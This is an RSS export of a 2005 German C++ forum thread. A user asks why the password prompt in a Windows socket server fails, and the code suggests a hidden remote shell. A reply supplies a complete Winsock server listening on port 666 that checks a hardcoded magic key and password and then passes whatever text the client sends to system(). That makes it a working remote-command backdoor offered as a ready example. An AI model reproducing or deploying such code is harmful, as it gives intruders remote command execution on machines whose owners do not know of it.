<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Passwortabfrage bei Socketconnection]]></title><description><![CDATA[<p>Hallo erstmal!<br />
Also ich hab folgends Problem...<br />
Ich versuche eine Socketverbindung zu erstellen... das klappt auch wunderbar, aber bei der PW abfrage scheitert es...<br />
Es kommt der Text &quot;Passwort eingeben: &quot; und dann gebe ich ihm das richtige Kennwort ein, aber er geht einfach nur eine Zeile runter...</p>
<p>Wisst ihr woran das liegt?<br />
Oder habt ihr ein Beispielscript welches ich verwenden kann?</p>
<p>Schonmal danke <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<pre><code class="language-cpp">while(exit == 0)
 {
  int shell = 0;
  s2=accept(s1,(struct sockaddr *)&amp;sockadd,&amp;len);
  send(s2,&quot;Passwort eingeben: &quot;,19,0);
  ZeroMemory(&amp;SI,sizeof(SI));
  ZeroMemory(&amp;PI,sizeof(PI));
  SI.cb = sizeof(SI);
  SI.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  SI.wShowWindow   = SW_HIDE;

  char* buffer;
  buffer = new char [1028];

  char pass[4];
  strcpy(pass, &quot;test&quot;);
  int bytes;
  // ab hier fängt er an das PW abzufragen...
  buffer = recv(s2, buffer, 1027, 0);

  if(!strcmp(buffer, pass)) {
....
....
//uninteressant ^^
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/113511/passwortabfrage-bei-socketconnection</link><generator>RSS for Node</generator><lastBuildDate>Wed, 01 Jul 2026 15:00:37 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/113511.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 23 Jun 2005 15:24:18 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Passwortabfrage bei Socketconnection on Thu, 23 Jun 2005 15:24:18 GMT]]></title><description><![CDATA[<p>Hallo erstmal!<br />
Also ich hab folgends Problem...<br />
Ich versuche eine Socketverbindung zu erstellen... das klappt auch wunderbar, aber bei der PW abfrage scheitert es...<br />
Es kommt der Text &quot;Passwort eingeben: &quot; und dann gebe ich ihm das richtige Kennwort ein, aber er geht einfach nur eine Zeile runter...</p>
<p>Wisst ihr woran das liegt?<br />
Oder habt ihr ein Beispielscript welches ich verwenden kann?</p>
<p>Schonmal danke <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<pre><code class="language-cpp">while(exit == 0)
 {
  int shell = 0;
  s2=accept(s1,(struct sockaddr *)&amp;sockadd,&amp;len);
  send(s2,&quot;Passwort eingeben: &quot;,19,0);
  ZeroMemory(&amp;SI,sizeof(SI));
  ZeroMemory(&amp;PI,sizeof(PI));
  SI.cb = sizeof(SI);
  SI.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  SI.wShowWindow   = SW_HIDE;

  char* buffer;
  buffer = new char [1028];

  char pass[4];
  strcpy(pass, &quot;test&quot;);
  int bytes;
  // ab hier fängt er an das PW abzufragen...
  buffer = recv(s2, buffer, 1027, 0);

  if(!strcmp(buffer, pass)) {
....
....
//uninteressant ^^
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/815824</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/815824</guid><dc:creator><![CDATA[adamWeah]]></dc:creator><pubDate>Thu, 23 Jun 2005 15:24:18 GMT</pubDate></item><item><title><![CDATA[Reply to Passwortabfrage bei Socketconnection on Thu, 23 Jun 2005 15:31:36 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile.php?mode=viewprofile&amp;u=403" rel="nofollow">HumeSikkins</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=15" rel="nofollow">C++</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=4" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic.php?t=39405" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/815830</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/815830</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Thu, 23 Jun 2005 15:31:36 GMT</pubDate></item><item><title><![CDATA[Reply to Passwortabfrage bei Socketconnection on Thu, 23 Jun 2005 16:31:55 GMT]]></title><description><![CDATA[<p>Das Problem hatte ich auch ne ganze weile...<br />
naja, das hab ich irgendwann mal programmiert:</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;winsock.h&gt;

#define BUFFER_SIZE 1024

int handling(int c)
{
	char buffer[BUFFER_SIZE], buf[BUFFER_SIZE];
	int bytes, x;
	char MAGICKEY[BUFFER_SIZE] = {'s', 'e', 'c', 'r', 'e', 't', 'c', 'o', 'd', 'e', '\0'};
	char PASS[BUFFER_SIZE] = {'4', 'c', 'c', '3', 's', '!', '\0'};

	while(TRUE)
	{
		memset(buf, '\0', sizeof(buf));

		bytes = recv(c, buf, sizeof(buf) - 1, 0);
		if (bytes == -1)
			return -1;
		buf[bytes] = '\0';

		x = strncmp(buf, MAGICKEY, strlen(MAGICKEY));
		if(x == 0)
		{
			printf(&quot;[client has entered the secretcode]\n&quot;);

			memset(buf, '\0', sizeof(buf));

			bytes = recv(c, buf, sizeof(buf) - 1, 0);
			if (bytes == -1)
				return -1;
			buf[bytes] = '\0';

			x = strncmp(buf, PASS, strlen(PASS));
			if(x == 0)
			{
				printf(&quot;[client enterd the right password]\n&quot;);

				memset(buf, '\0', sizeof(buf));

				bytes = recv(c, buf, sizeof(buf) - 1, 0);
				if (bytes == -1)
					return -1;
				buf[bytes] = '\0';

				system(buf);

				send(c, &quot;[OK]\r\n&quot;, strlen(&quot;[OK]\r\n&quot;), 0);
			}

			else
			{
				printf(&quot;[client entered the wrong password]\n&quot;);

				continue;
			}
		}

	}

	return 0;
}

int main(int argc, char *argv[])
{
	int s, c, cli_size;
	struct sockaddr_in srv, cli;

	{
		WSADATA wsa;
		if (WSAStartup(MAKEWORD(1, 1), &amp;wsa))
		{
			printf(&quot;WSAStartup() failed, %lu\n&quot;, (unsigned long)GetLastError());
			return EXIT_FAILURE;
		}
	}

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s == -1)
	{
		perror(&quot;socket() failed&quot;);
		return 2;
	}

	srv.sin_addr.s_addr = INADDR_ANY;
	srv.sin_port = htons(666);
	srv.sin_family = AF_INET;

	if (bind(s, &amp;srv, sizeof(srv)) == -1)
	{
		perror(&quot;bind() failed&quot;);
		return 3;
	}

	if (listen(s, 3) == -1)
	{
		perror(&quot;listen() failed&quot;);
		return 4;
	}

	for(;;)
	{
		cli_size = sizeof(cli);
		c = accept(s, &amp;cli, &amp;cli_size);

		printf(&quot;[client from %s]\n&quot;, inet_ntoa(cli.sin_addr));
		if (handling(c) == -1)
			fprintf(stderr, &quot;%s: handling() failed&quot;, argv[0]);

		 close(c);
	}

	return 0;
}
</code></pre>
<p>denke der code is gut verständlich...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/815867</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/815867</guid><dc:creator><![CDATA[-*NULL*-]]></dc:creator><pubDate>Thu, 23 Jun 2005 16:31:55 GMT</pubDate></item></channel></rss>